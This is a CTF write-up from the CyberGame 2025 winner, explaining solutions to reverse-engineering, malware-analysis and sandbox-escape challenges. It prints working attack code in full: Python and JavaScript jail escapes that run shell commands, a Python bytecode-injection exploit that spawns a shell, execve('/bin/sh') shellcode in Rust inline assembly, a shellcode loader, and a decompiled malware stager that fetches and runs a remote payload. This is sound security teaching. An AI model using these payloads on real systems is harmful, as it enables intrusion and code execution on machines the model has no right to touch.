Cybergame 2025 Writeups
I took 1st place π₯ in CyberGame 2025, solving 71 out of 73 challenges and claiming 52 First bloods π©Έ along the way.
The game featured a wide variety of categories, including:
Web Exploitation & Binary Exploitation
Forensics
OSINT (Open Source Intelligence)
Cryptography
Malware Analysis & Reverse Engineering
Process and Governance
PyJails _(as part of the JAILE series)
Here are writeups for a few of the challenges I found particularly interesting.
[β β β] The Chronicles of Greg
SystemUpdate incident report
Description
Greg didnβt ask for this. Greg wanted a quiet Friday, maybe a donut, and ideally no malware. But no. Instead, Greg found logs weird logs. And when Greg sees weird logs, Greg investigates. This is Gregβs story.
############
Analyst Log β 09:14 AM: βThey called it a βlow-priority anomaly.β Said it was probably nothing. Thatβs what they always
say before things explodeβ. I ran strings on the file didnβt like what I saw. Not an update. Not even ransomware. Justβ¦
vibes. Binary vibes. Theyβve named it internally βSystemUpdate.β I donβt know why. No update was done. Iβm not even sure
if this is about system update anymore.
############
Solution
While reverse engineering the system_update
binary, I focused on a suspicious subroutine sub_20C0
. It stood out due to a sequence of unusual operations applied to a hardcoded array of bytes, suggesting some form of custom encoding or obfuscation logic.
Upon further inspection, I recognized a pattern of reversible transformations involving XORs, subtractions, and negations all acting on a 24-byte sequence. To decode this, I wrote a Python script to emulate the logic statically. The script essentially reverses three types of encoding operations: chr = (key - (encoded_byte ^ 0x5C)) & 0xFF
, chr = (- (encoded_byte ^ 0x5C)) & 0xFF
and chr = (encoded_byte ^ key) & 0xFF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def solve():
target = [int(x, 16) for x in "F9 FF 8F E0 EA C6 FE 2A CC 9D E6 9A 92 D3 C4 CB 20 E1 DF D7 95 E0 CC 2F".split()]
ops = [
(1, 0xF8), (1, 0xEE), (2, None), (3, 0xA3), (1, 0xFB),
(1, 0xEC), (1, 0xF6), (1, 0xF1), (1, 0xF7), (1, 0xF4),
(1, 0xF1), (1, 0xFD), (3, 0xA3), (1, 0xFD), (3, 0xA3),
(1, 0xF6), (1, 0xEC), (1, 0xF1), (1, 0xFC), (1, 0xF7),
(1, 0xF9), (1, 0xF0), (1, 0xF4), (1, 0xF0)
]
flag = []
for i in range(24):
op, k = ops[i]
t = target[i]
if op == 1:
c = (k - (t ^ 0x5C)) & 0xFF
elif op == 2:
c = (- (t ^ 0x5C)) & 0xFF
elif op == 3:
c = (t ^ k) & 0xFF
flag.append(chr(c))
s = ''.join(flag)
print(s)
# verify
check = []
for i in range(24):
op, k = ops[i]
c = ord(s[i])
if op == 1:
o = ((k - c) & 0xFF) ^ 0x5C
elif op == 2:
o = ((-c) & 0xFF) ^ 0x5C
elif op == 3:
o = c ^ k
check.append(o & 0xFF)
if check == target:
print("ok")
else:
print("fail")
if __name__ == "__main__":
solve()
1
SK-CERT{g3771ng_p4yl04d}
The Blob Whisperer
Description
Analyst Log β 12:47 PM: The blob showed up after SystemUpdate did its thing. Just a data. No extension. No metadata. No readme. No hope. The problem? There. Is. No. Key. Iβve tried dictionary attacks, rainbow tables, entropy analysis, even feeding it to a very confused intern. Nothingβ¦ At one point, I shouted my Wi-Fi password at the screen out of raw frustration. Didnβt help, but I felt better for two seconds. I thought I saw a familiar pattern in the entropy graph. Turns out it was just a coffee stain on my monitor. This isnβt just encryption. This is a test of character. And Greg? Greg is not winning.
Solution
When analyzing the system_update
binary, I discovered that running it with a parameter causes it to connect to a remote server and transmit that input. If the provided value is incorrect, the server responds with a generic command like COMMAND: apt update
.
To uncover the remote endpoint, I first ran strings
on the binary, which revealed an embedded IP address. To confirm this and identify the port being used, I used strace
, which clearly showed the binary establishing a connection to that address and port during execution.
1
connect(3, {sa_family=AF_INET, sin_port=htons(7052), sin_addr=inet_addr("195.168.112.4")}, 16) = 0
If the value is the flag SK-CERT{g3771ng_p4yl04d}
we got in the first part then it responds by sending an encrypted payload
Function sub_1D20
does the decryption of the payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__int64 __fastcall sub_1D20(__int64 a1, unsigned int a2)
{
__int64 v2; // r14
unsigned int v3; // eax
__int64 v4; // r14
__int64 v5; // rax
int v6; // ebx
int v7; // ebx
void *v8; // rax
void (*v9)(void); // rax
int v11; // [rsp+Ch] [rbp-105Ch] BYREF
_BYTE v12[16]; // [rsp+10h] [rbp-1058h] BYREF
_BYTE v13[16]; // [rsp+20h] [rbp-1048h] BYREF
_BYTE src[4152]; // [rsp+30h] [rbp-1038h] BYREF
v2 = 0;
v3 = sub_1C30("/lib/x86_64-linux-gnu/libc.so.6");
srand(v3);
do
{
v12[v2] = rand() % 256;
v13[v2++] = rand() % 256;
}
while ( v2 != 16 );
v4 = EVP_CIPHER_CTX_new();
v5 = EVP_aes_128_cbc();
EVP_DecryptInit_ex(v4, v5, 0, v12, v13);
EVP_DecryptUpdate(v4, src, &v11, a1, a2);
v6 = v11;
if ( (int)EVP_DecryptFinal_ex(v4, &src[v11], &v11) <= 0 )
{
EVP_CIPHER_CTX_free(v4);
}
else
{
v7 = v11 + v6;
EVP_CIPHER_CTX_free(v4);
if ( v7 >= 0 )
{
src[v7] = 0;
v8 = mmap(0, (int)a2, 7, 34, -1, 0);
if ( v8 != (void *)-1LL )
{
v9 = (void (*)(void))memcpy(v8, src, v7);
v9();
return 0;
}
perror("mmap");
}
}
return 1;
}
The key used for encryption in the system_update
binary is generated using rand()
, which is seeded via srand()
with a value derived from the major and minor version of the current libc
.
During analysis, I noticed that the first 5 bytes of the payload are discarded before encryption. After removing these bytes from the captured payload, I brute-forced potential seeds using a small C script that simulated the encryption process based on different libc
versions. This led me to discover that version 2.38 was the correct one used to seed the random number generator.
To retrieve the payload, I saved the encrypted data using:
1
echo "SK-CERT{g3771ng_p4yl04d}" | nc 195.168.112.4 7052 > payload.bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/evp.h>
#include <openssl/aes.h>
unsigned int gen_seed(unsigned int major, unsigned int minor) {
unsigned int val = (major << 16) | (minor << 8) | (major ^ minor);
val = (val ^ (val >> 13)) * 0x5bd1e995;
return val ^ (val >> 15);
}
int decrypt(const char* in_file, const char* out_file, unsigned int seed) {
FILE* f = fopen(in_file, "rb");
if (!f) return -1;
fseek(f, 0, SEEK_END);
long len = ftell(f);
fseek(f, 0, SEEK_SET);
unsigned char* enc = malloc(len);
fread(enc, 1, len, f);
fclose(f);
unsigned char key[16], iv[16];
srand(seed);
for (int i = 0; i < 16; i++) {
key[i] = rand() & 0xFF;
iv[i] = rand() & 0xFF;
}
unsigned char* dec = malloc(len + AES_BLOCK_SIZE);
int l, dec_len;
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_DecryptUpdate(ctx, dec, &l, enc, len);
dec_len = l;
if (EVP_DecryptFinal_ex(ctx, dec + l, &l) > 0) {
dec_len += l;
FILE* out = fopen(out_file, "wb");
if (out) {
fwrite(dec, 1, dec_len, out);
fclose(out);
printf("[+] %s ok\n", out_file);
}
} else {
printf("[-] %s fail\n", out_file);
}
EVP_CIPHER_CTX_free(ctx);
free(enc);
free(dec);
return 0;
}
int main() {
const char* infile = "payload.bin";
char outfile[256];
for (unsigned int major = 2; major <= 2; major++) {
for (unsigned int minor = 21; minor <= 41; minor++) {
unsigned int seed = gen_seed(major, minor);
snprintf(outfile, sizeof(outfile), "%u.%u_deciphered.bin", major, minor);
decrypt(infile, outfile, seed);
}
}
return 0;
}
After decrypting the payload and inspecting it with xxd
, I noticed interesting strings like /tmp/s
and /bin/s
, suggesting that the payload was actually shellcode. To confirm this, I mapped the decrypted payload into memory and executed it. Upon running the shellcode, I observed that it dropped a file into the /tmp
directory.
Code to map the decrypted payload into memory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main() {
FILE *f = fopen("2.38_deciphered.bin", "rb");
if (!f) { perror("open"); return 1; }
fseek(f, 0, SEEK_END);
long sz = ftell(f);
rewind(f);
char *buf = malloc(sz);
if (!buf) { perror("malloc"); fclose(f); return 1; }
if (fread(buf, 1, sz, f) != sz) {
perror("read");
free(buf);
fclose(f);
return 1;
}
fclose(f);
void *mem = mmap(0, sz, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
perror("mmap");
free(buf);
return 1;
}
memcpy(mem, buf, sz);
free(buf);
printf(">> running shellcode...\n");
((void(*)())mem)();
munmap(mem, sz);
return 0;
}
A quick check confirmed that the contents were successfully written into the /tmp
directory.
1
curl http://files.cybergame.sk/systemupdate-2b174d89-564b-4024-acb6-b195f4c81a3c/lib.so#SK-CERT{b1n_p4yl04d_d035_n07_s33m5_l1k3_c0mm4nd5} > /lib_safe/x86_64-linux-gnu/libc.so.6
1
SK-CERT{b1n_p4yl04d_d035_n07_s33m5_l1k3_c0mm4nd5}
The Shared Object Prophecy
Description
Analyst Log β 17:23 PM: I followed the execution trail. It ended in the most cursed way imaginable: custom libc Who writes their own libc? What kind of monster wakes up and chooses that? Greg is tired. Greg is afraid. Greg wants his weekend back.
Solution
After retrieving the libc.so
file from the previous part of the challenge, the description made it clear this was no ordinary standard library. It was custom and likely hiding something.
I spent hours going in circles, completely lost in its disassembly. I tried diffing it against the original libc
, hoping for any meaningful differences. I scanned through dozens of standard functions, chasing false leads.
Eventually, while combing through some of the more commonly hooked libc functions, I landed on _GI___libc_write
. Thatβs where things clicked. The function had extra instructions and patterns that resembled encryption logic.
I wrote a script to reverse the transformations applied in that function and it paid off.
Sometimes, the best hiding place is right where you expect things to be βnormal.β
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
def s1(buf):
if len(buf) != 29:
raise ValueError("s1: bad len")
out = bytearray(29)
for i in range(29):
x = buf[i] ^ i
x = ~x & 0xFF
x = (x - i) & 0xFF
x = (x ^ i) & 0xFF
x = (x + i) & 0xFF
x = ((x << 3) | (x >> 5)) & 0xFF
x = (-((x + i) & 0xFF) ^ i) & 0xFF
x = (x - i) & 0xFF
x = (x ^ i) & 0xFF
t = ((x - 0x7F) ^ 0x74) & 0xFF
out[i] = (i - t) & 0xFF
return out
def s2(buf):
if len(buf) != 14:
raise ValueError("s2: bad len")
out = bytearray(14)
for i in range(14):
x = buf[i]
x = (x + i) & 0xFF
x = (x ^ i) & 0xFF
x = (x + 99) & 0xFF
x = (x ^ i) & 0xFF
x = (x + 0x78) & 0xFF
x = (x ^ 0x7F) & 0xFF
x = (x + i) & 0xFF
x = (-x) & 0xFF
x = (x ^ 0xE0) & 0xFF
x = ((x << 1) | (x >> 7)) & 0xFF
term1 = (x ^ i) & 0xFF
term2 = (0x2C - i) & 0xFF
out[i] = (term1 + term2) & 0xFF
return out
def main():
s = bytes([
0xea, 0x06, 0xe0, 0x44, 0x23, 0x20, 0x96, 0xcc,
0x1e, 0xae, 0x64, 0xe3, 0x00, 0x09, 0xeb, 0x27,
0xd5, 0xd7, 0xac, 0x81, 0xea, 0xd5, 0x5e, 0xdf,
0x5a, 0xae, 0x2c, 0x14, 0xfc
])
s2_buf = bytes([
0x06, 0x09, 0x0c, 0x85, 0x12, 0x8f, 0x82, 0x81,
0x16, 0x15, 0x91, 0x85, 0x90, 0x3c
])
t1 = s1(s)
print("s1:", t1.hex())
try:
print("s1_ascii:", t1.decode(errors='replace'))
except Exception as e:
print("s1 decode error:", e)
print("-" * 30)
t2 = s2(s2_buf)
print("s2:", t2.hex())
try:
s2_ascii = t2.split(b'\x00', 1)[0].decode(errors='replace')
print("s2_ascii:", s2_ascii)
except Exception as e:
print("s2 decode error:", e)
if __name__ == "__main__":
main()
1
SK-CERT{br1n6_y0ur_0wn_l1bc}
JAILE2
Calculator v2
Description
A new version of The Calculator came out! Can you check if itβs secure?
exp.cybergame.sk:7011
Challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import math
def handle_client():
print(
"Welcome to the Calculator v2!\nWith improved security so you can have access to all the fun math stuff and the bad guys cannot do the bad stuff! Enjoy :D"
)
# We added this to prevent the user from calling dangerous functions
safe_globals = {
"__builtins__": {
"sin": math.sin,
"cos": math.cos,
"tan": math.tan,
"asin": math.asin,
"acos": math.acos,
"atan": math.atan,
"sqrt": math.sqrt,
"pow": math.pow,
"abs": abs,
"round": round,
"min": min,
"max": max,
"sum": sum,
}
}
text = ""
while text != "exit":
text = input(">>> ")
# In all ctf writeups they use _ or its unicode equivalent to somehow escape the jail. No _ means no fun for them
for character in ["_", "οΌΏ"]:
if character in text.lower():
print("Not allowed, killing\n")
text = "lol"
try:
print(eval(text, safe_globals))
except Exception as e:
print("Error: " + str(e) + "\n")
def main():
handle_client()
if __name__ == "__main__":
main()
Solution
The challenge was basically a Python sandbox, but with a twist. It uses eval()
to evaluate user input, but it wraps it in a restricted safe_globals
dict that only exposes a few safe functions mostly math stuff like sin
, cos
, sqrt
, abs
, round
, and so on. No access to eval
, exec
, open
, or even __builtins__
directly.
But the real kicker is this it blocks any use of the underscore character (_
) even the full-width Unicode one (οΌΏ
). And if youβve done any Python sandbox stuff before, you know thatβs brutal. All the classic tricks rely on double underscores: __class__
, __subclasses__
, __globals__
, etc. So with _
banned, all the usual escape routes are cut off.
So whatever payload youβre building has to work without typing _
at all. Thatβs what makes this challenge spicy you have to find clever ways to build those dunders without ever writing them directly.
Dealing with _
Restrictions via Unicode Normalization
One of the main restrictions in this challenge is that you cannot use the underscore character (_
) directly nor its full-width Unicode equivalent (οΌΏ
). This is enforced by checking the user input string and terminating if any variant appears. However, Python internally normalizes many Unicode characters under the hood, and we can take advantage of this using NFKC normalization
To find all Unicode characters that normalize to _
I ran this simple script:
1
2
3
4
5
6
import unicodedata
for x in range(65537):
if unicodedata.normalize("NFKC", chr(x)) == "_":
print(x, chr(x))
This helps identify characters that look different but will be interpreted as _
internally by Python once normalized.
Frame Walking Without _
With _
completely off the table, I needed a way to access powerful objects like __import__
, but without writing any underscores at all.
The trick was to use generator introspection to access Pythonβs internal frames. From there, you can walk up the call stack and eventually reach the built-in namespace. Hereβs the payload I crafted:
1
2
3
[y := [],
y.extend([(x.giοΈ΄frame.fοΈ΄back.fοΈ΄back for x in y)]),
[x for x in y[0]][0].fοΈ΄builtins['\x5f\x5fimport\x5f\x5f']('os').popen('cat /flag*').read()]
A breakdown:
y := []
initializes an empty listI use a generator expression to capture frames:
x.giοΈ΄frame.fοΈ΄back.fοΈ΄back
The character
οΈ΄
(U+FE34) is not technically an underscore, but under Unicode normalization (NFKC
), Python interprets it as one.Then I access
fοΈ΄builtins
and use a hex escape:'\x5f\x5fimport\x5f\x5f'
to call__import__
without triggering the input filter.The rest is a standard file read using
os.popen
.
This works because the generatorβs gi_frame
gives you access to the current frame object, and walking f_back
lets you move up the stack. Once you reach the top, you can access the global __builtins__
object and import anything you want
1
SK-CERT{wh0_w0uld_h4v3_th0ght_y0u_c4n_3sc4pe_w1th0ut__}
Tasty Bun
Description
The Tasty Bun bakery asked us for a pentest. Can you find a vulnerability in their baking software?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env bun
const net = require("net");
const bake = async (ingredients) => {
return await eval(ingredients);
};
const hasValidIngredients = (recipe) => {
const FORBIDDEN_INGREDIENTS = /[()\/\[\];"'_!]/;
if (FORBIDDEN_INGREDIENTS.test(recipe)) {
console.error("π₯ These ingredients will spoil our bun!");
return false;
}
const flavors = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
const tasteProfile = [];
for (let i = 0; i < recipe.length; i++) {
const ingredient = recipe[i];
if (flavors.includes(ingredient) && !tasteProfile.includes(ingredient)) {
tasteProfile.push(ingredient);
}
}
if (tasteProfile.length > 2) {
console.error(
"π Too many flavors will ruin the bun! Found " + tasteProfile.length
);
return false;
}
return true;
};
const bakery = net.createServer((customer) => {
console.log("π₯ A hungry customer has arrived at the bakery!");
customer.write("tasty-bun> ");
customer.on("data", async (order) => {
try {
const recipe = order.toString().trim();
if (recipe === "exit") {
customer.write("π₯― Thank you for visiting our bakery! Goodbye!\n");
customer.end();
return;
}
if (!hasValidIngredients(recipe)) {
customer.write("π© Sorry, we can't bake with these ingredients!\n");
customer.write("tasty-bun> ");
return;
}
const bakedBun = await bake(recipe);
customer.write(bakedBun + "\n");
} catch (e) {
console.error("Error during baking:", e);
customer.write("π₯ Oops! The bun fell flat: " + e.toString() + "\n");
}
customer.write("tasty-bun> ");
});
customer.on("error", (err) => {
console.error("Socket error:", err);
customer.write("π₯― A socket error occurred, but we're still open!\n");
customer.write("tasty-bun> ");
});
customer.on("end", () => {
console.log("π₯¨ A customer has left our bakery");
});
});
process.on("unhandledRejection", (reason, promise) => {
console.error("Unhandled Rejection at:", promise, "reason:", reason);
});
process.on("uncaughtException", (err) => {
console.error("Unhandled exception caught:", err);
});
const displayBakeryBanner = () => {
console.log(`
ππ₯π₯π₯―π©π₯¨ "The Tasty Bun" Bakery π₯¨π©π₯―π₯π₯π
Welcome to our special bun shop!
We are very particular about our ingredients...
`);
};
displayBakeryBanner();
bakery.listen(2337, () => {
console.log("π Bakery now open on port 2337! Come get your tasty buns!");
});
Solution
At first glance, this challenge seems like a simple JavaScript sandbox running on the Bun runtime. But very quickly, the core limitation becomes clear:
Youβre only allowed to use 2 unique letters per line.
That means any line you send to the server must contain at most two different alphabetical characters. You can repeat them as much as you want, but a third unique letter will instantly get your input rejected.
On top of that, several critical characters are completely banned:
() / [ ] ; " ' _ !
These restrictions stop you from doing just about everything youβd normally try in a JavaScript eval()
challenge:
β
()
β No function calls. You canβt invoke anything directly.β
[]
β No arrays or property access by string key (e.g.,obj["key"]
).β
;
β No statement separators.β
'
or"
β No strings at all.β
/
β No regular expressions, and also no division.β
_
β No access to special objects like__proto__
,__defineGetter__
, orglobalThis
.β
!
β No use of logical negation or tricks like![]
.
Essentially, this removes most of the language features youβd typically abuse in a sandbox escape: you canβt use strings, arrays, object keys, or even call functions the usual way.
So the challenge becomes: How can we coerce or manipulate whatβs left just numbers, operators, and two letters to eventually execute something useful?
Despite all the restrictions, the key weakness lies in how the server handles input: it uses eval()
on the userβs input, but only after first checking if the input passes a regex match using test()
.
This is our entry point. If we can pollute the prototype of RegExp
and replace the test
method with eval
, then the next time the server tries to check our input using regex, it will actually end up evaluating it as JavaScript code without any restrictions.
In JavaScript, prototype pollution lets you overwrite properties shared across all objects of a certain type. Here, we exploit that to overwrite RegExp.prototype.test
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import re
FLAG_RE = re.compile(r"flag.+\.txt")
def e(s):
r = ""
for x in s:
r += "\\u00" + hex(ord(x))[2:].zfill(2)
return r
# r = remote("localhost", 2337)
r = remote("exp.cybergame.sk",7012)
encoded_regexp = e("RegExp")
encoded_proto = e("__proto__")
encoded_test = e("test")
encoded_eval = e("eval")
get_flag_file_payload = """
res = process.mainModule.require("child_process").spawnSync("ls", [".."]).stdout.toString();throw new Error(res);
""".strip()
r.sendlineafter(b"> ", f"$={encoded_regexp}``".encode())
r.sendlineafter(b"> ", f"$$={encoded_eval}".encode())
r.sendlineafter(b"> ", f"$.{encoded_proto}.{encoded_test}=$$")
r.sendlineafter(b"> ", get_flag_file_payload)
r.recvuntil(b"Error: ")
files = r.recvuntil(b"tasty-bun", True).decode()
flag_path = FLAG_RE.search(files).group(0)
print_flag_file_payload = f"""
res = process.mainModule.require("child_process").spawnSync("cat", ["../{flag_path}"]).stdout.toString();throw new Error(res);
"""
r.sendline(print_flag_file_payload)
print(r.recvuntil(b"tasty-bun").decode())
r.interactive()
1
SK-CERT{\u0074\u0068\u0069\u0073\u0020\u0069\u0073\u0020\u0066\u0075\u006E}
dictFS
Description
The admin of this application supposedly implemented a backdoor. Can you find it?
Recover the root password
After poking around the file system for a while and exploring different objects exposed through directory traversal, I discovered a path that led straight into the internals of the Python runtime.
By navigating through /mnt
, I found what appeared to be a dictionary like object that gave access to a chain of attributes and internal references. Following this path:
1
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__
I eventually landed on the __code__
object of the DirShell
classβs __init__
method a goldmine in terms of introspection.
From there, I dumped the constant pool of the bytecode using:
1
2
3
4
5
cat co_consts
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__$> cat co_consts
(None, 'ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββ βββββββ ββββββββββββββ \nβββββββββββββββββββββββββββββββββ βββββββ βββββββ βββββββ βββββββββββββββββββββββ ββββββββββββββ \nββββββββββββββββββββββββββ βββββββ βββββββ βββββββ ββββββββββββ βββββββ ββββββββββββββ \nββββββββββββββββββββββββββ βββββββ ββββββββββββ ββββββββββββ ββββββββββββ βββββββ ββββββββββββββ \nββββββββββββββββββββββββββ βββββββ βββββββ βββββββ ββββββββββ βββββββ ββββββββββββββ \nβββββββββββββββββββββββββββββββββ βββββββ βββββββ βββββββ ββββββββββ βββββββββββββββββββββββββββ \nββββββββββββββββββββββββββββββββ βββββββ βββββββ βββββββββββββ ββββββββ βββββββββββββββββββββββββββ \n \n ', 'Welcome to our completely custom filesystem! you can use the following commands in our in-house built DirShellβ’:', 'ls - list files and directories', 'cd <dir> - change directory', 'cat <file> - print file contents', 'pwd - print current directory', 'touch <file> - create/rewrite a file (root only) - if the filename starts with @ it is read-only [beta]', 'mkdir <dir> - create a directory (root only) [beta]', 'rewrite <file> - rewrite a file with hex characters (root only) - bypasses read-only @ prefix. USE WITH CAUTION [beta]', 'su - switch to root user (secret password required)', 'exit - exit the shell', '\n\n', 'The filesystem is read-only for non-root users but we are experimenting with write capabilities in our current beta version', 'mnt.json', 'r', 'I am a test content of a.txt', 'HELLO WORLD', 'Lorem ipsum dolor sit amet', 'aa.txt', 'aaaaaaaa', ('a.txt', 'b.txt', 'c.txt', 'x', 'mnt', 'z'), False, '__YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^')
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__
1
__YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^
Gaining Root Shell via Bytecode Injection
After successfully retrieving the root password by navigating deep into Pythonβs object model (as explained earlier), I gained access to the su
command. This unlocked the ability to rewrite methods within the application a powerful privilege.
The plan was to hijack the touch
command, whose implementation lives in:
1
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/touch/__code__`
Python Bytecode Injection
The key to the exploit was rewriting the co_code
of the touch
method with custom Python bytecode, allowing us to hijack its behavior.
My payload built a new co_code
byte sequence that:
Loaded the
__builtins__
dict using a craftedLOAD_FAST
offset.Accessed
__builtins__["exec"]
.Executed
exec(input(...))
to get full code execution.
However, since the locals layout was unknown, and LOAD_FAST uses an index, I had to brute-force the right index (x
) to find the one pointing to __builtins__
.
Hereβs a snippet from the brute-force harness:
1
OOB = b''.join([bytes([x]) for x in [ *([opmap['EXTENDED_ARG'], x // 256] if x // 256 != 0 else []), opmap['LOAD_FAST'], x % 256, ]])`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import dis
from opcode import opmap
from pwn import *
def rec_cd(path):
for x in path.split("/"):
r.sendlineafter(b"> ", f"cd {x}")
def assemble(ops):
ret = b""
for op, arg in ops:
opc = dis.opmap[op]
ret += bytes([opc, arg])
return ret
ROOT_PASSWORD = "__YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^"
x = 202
while True:
try:
print(f"Trying {x}")
# r = process(["python3", "dirshell.py"])
r = remote("exp.cybergame.sk", 7001)
# rec_cd("/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__")
r.sendlineafter(b"> ", "su")
r.sendlineafter(b"> ", ROOT_PASSWORD)
rec_cd("/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/touch/__code__")
# x = 265
OOB = b''.join([bytes([x]) for x in [
*([opmap['EXTENDED_ARG'], x // 256]
if x // 256 != 0 else []),
opmap['LOAD_FAST'], x % 256,
]])
co_code = OOB + assemble([
("LOAD_FAST", 2),
("BINARY_SUBSCR", 0),
("LOAD_FAST", 1),
]) + OOB + assemble([
("CALL_FUNCTION", 2),
("RETURN_VALUE", 0),
])
# print(co_code)
# 265 EXEC
r.sendlineafter(b"> ", "rewrite co_code")
r.sendlineafter(b"> ", co_code.hex())
rec_cd("/.."*17)
r.sendlineafter(b"> ", b"""touch exec(input('READYREADYREADY\\n'))""")
r.sendline(b"exec")
r.recvuntil(b"file contents: ")
da = r.recvline(timeout=0.5).strip()
print(da)
if da == b"READYREADYREADY":
print("GO FLAG GOGHGOGHGOGHGO", x)
r.sendline(b"import pty;pty.spawn('/bin/sh')")
r.interactive()
except Exception as e:
print(e)
pass
r.close()
I assembled the final bytecode using Pythonβs built-in dis.opmap
, creating valid instructions for Python 3.9 β which was crucial, since the remote system used that specific version.
Once the injected function was in place, I navigated back to root and triggered it by running:
1
touch exec(input('READYREADYREADY\n'))
If the injection worked, the output was simply: READYREADYREADY
This was my signal that exec()
had been successfully injected. From there, I just launched a PTY shell:
1
import pty; pty.spawn('/bin/sh')`
And that was game over. π
1
SK-CERT{\u0074\u0068\u0069\u0073\u0020\u0069\u0073\u0020\u0066\u0075\u006E}
Blazing-fast, memory-safe interpreter
Description
I made a Rust code interpreter where you can run your rust code. I made it very safe so you donβt hack me.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import subprocess
HEADER = """
#![no_std]
#![no_main]
use core::panic::PanicInfo;
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
loop {}
}
#[unsafe(no_mangle)]
pub extern "C" fn _start() -> () {
"""
FOOTER = """
}
"""
def checker(code):
if code.count("!") > 1:
return 0
if "libc" in code:
return 0
if "std" in code:
return 0
if "flag" in code:
return 0
if "syscall" in code:
return 0
if "include" in code:
return 0
return 1
code = input("Give me code> ")
if not checker(code):
print("Go away you hacker")
exit()
with open("./src/main.rs", "w") as f:
f.write(HEADER)
f.write(code)
f.write(FOOTER)
print("Building - this may take a while...",end="")
out = subprocess.run(
["cargo", "build", "--target", "x86_64-unknown-none"],
capture_output=True,
text=True
)
if out.returncode:
print("failed - exit")
exit()
print("done")
print("Running...")
subprocess.run(["cargo", "run", "--target", "x86_64-unknown-none"])
Solution
This challenge gave us a sandboxed Rust runtime with a constrained custom main.rs
environment.
After researching Rustβs inline assembly and raw x86-64 opcodes, I discovered that we could manually emit syscall
using the raw instruction bytes:
1
.byte 0x0F, 0x05 ; syscall
Combined with core::arch::asm
, we could construct the entire RCE payload manually without relying on filtered terms.
Hereβs the payload that spawns /bin/sh
via syscall 59 (execve
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
use core::arch::asm;
unsafe {
asm!(
"xor rsi, rsi", // NULL argv
"push rsi",
"mov rbx, 0x68732f2f6e69622f", // //bin/sh
"push rbx",
"mov rdi, rsp", // pointer to "/bin//sh"
"xor rdx, rdx", // NULL envp
"mov rax, 59", // syscall: execve
".byte 0x0F, 0x05", // syscall
options(noreturn)
);
}
The build system only accepted single-line input, and multi-line asm!
blocks were error-prone when passed via input()
.
So I collapsed the code into a single line:
1
use core::arch::asm;unsafe{asm!("xor rsi,rsi;push rsi;mov rbx,0x68732f2f6e69622f;push rbx;mov rdi,rsp;xor rdx,rdx;mov rax,59;.byte 0x0F,0x05",options(noreturn));}
This successfully compiled under cargo build --target x86_64-unknown-none
, bypassed the checks, and gave me a shell from _start()
!
1
2
3
4
5
6
7
8
nc exp.cybergame.sk 7010
